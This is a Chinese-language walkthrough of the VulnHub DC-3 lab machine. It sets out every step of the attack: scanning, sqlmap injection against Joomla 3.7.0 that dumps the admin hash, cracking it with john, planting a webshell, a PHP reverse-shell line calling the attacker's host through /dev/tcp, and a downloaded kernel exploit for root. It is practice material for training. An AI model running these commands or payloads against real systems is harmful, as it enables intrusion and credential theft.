vulnhub DC-3靶机实战
字数 994 2025-08-12 11:34:30
DC-3 靶机渗透测试实战教程
0x01 环境部署
- 下载靶机:
- 下载地址:https://www.vulnhub.com/entry/dc-32,312/
- 安装后设置网络为NAT模式
0x02 信息收集
1. 主机发现
arp-scan -l
2. 端口扫描
nmap -sS 192.168.190.130
- 发现开放80端口
3. 目录扫描
python3 dirsearch.py -u http://192.168.190.130/
4. 网站识别
- 识别出使用Joomla CMS
- 可进一步搜索Joomla相关漏洞
0x03 Getshell
1. 漏洞发现
sudo apt-get install joomscan
joomscan --url http://192.168.190.130
- 扫描结果显示Joomla版本为3.7.0
2. 漏洞利用
searchsploit Joomla 3.7.0
- 发现SQL注入漏洞
查看漏洞详情:
cat /usr/share/exploitdb/exploits/php/webapps/42033.txt
使用sqlmap进行注入:
爆破所有数据库:
sqlmap -u "http://192.168.190.130/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
爆破joomladb数据库表名:
sqlmap -u "http://192.168.190.130/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]
爆破#__users表的列:
sqlmap -u "http://192.168.190.130/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" --columns -p list[fullordering]
爆破用户凭证:
sqlmap -u "http://192.168.190.130/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" -C "id,username,password" --dump -p list[fullordering]
- 获取到hash:
admin:$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
3. 密码破解
创建密码文件:
vim mm.txt
cat mm.txt
john mm.txt
- 成功破解:
admin/snoopy
4. 获取shell
- 登录Joomla后台
- 修改模板文件添加一句话木马
- 访问测试:
http://192.168.190.130/templates/beez3/index.php - 使用蚁剑连接
5. 反弹shell
Kali开启监听:
nc -lvnp 5678
创建error.php文件:
<?php system("bash -c 'bash -i >& /dev/tcp/192.168.190.128/5678 0>&1' "); ?>
- 访问error.php获取反弹shell
0x04 提权
1. 信息收集
whoami
uname -a
cat /etc/issue
- 识别系统为Ubuntu 16.04
2. 查找漏洞
searchsploit ubuntu 16.04
- 选定39772.txt漏洞
复制漏洞到本地:
cp /usr/share/exploitdb/exploits/linux/local/39772.txt /home/kali/Desktop/
cd /home/kali/Desktop/
cat 39772.txt
- 文件末尾包含exp下载链接
3. 漏洞利用
下载exp:
wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
unzip 39772.zip
cd 39772
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
执行提权:
./compile.sh
./doubleput
whoami # 确认root权限
4. 获取flag
cd /root
cat the-flag.txt
0x05 总结
- 信息收集:IP、端口、目录、CMS版本等
- 漏洞利用:针对已知CMS版本搜索漏洞
- 凭证获取:通过SQL注入获取并破解管理员凭证
- 获取shell:通过修改模板文件获取webshell
- 权限提升:根据系统内核版本利用本地提权漏洞
- 最终目标:获取root权限读取flag
关键点备忘
- Joomla 3.7.0存在SQL注入漏洞(CVE-2017-8917)
- 使用sqlmap进行自动化注入时需要指定高风险参数
- Joomla密码hash需要特定方式破解
- Ubuntu 16.04存在ebpf_mapfd_doubleput本地提权漏洞(CVE-2017-16995)
- 提权exp需要编译后执行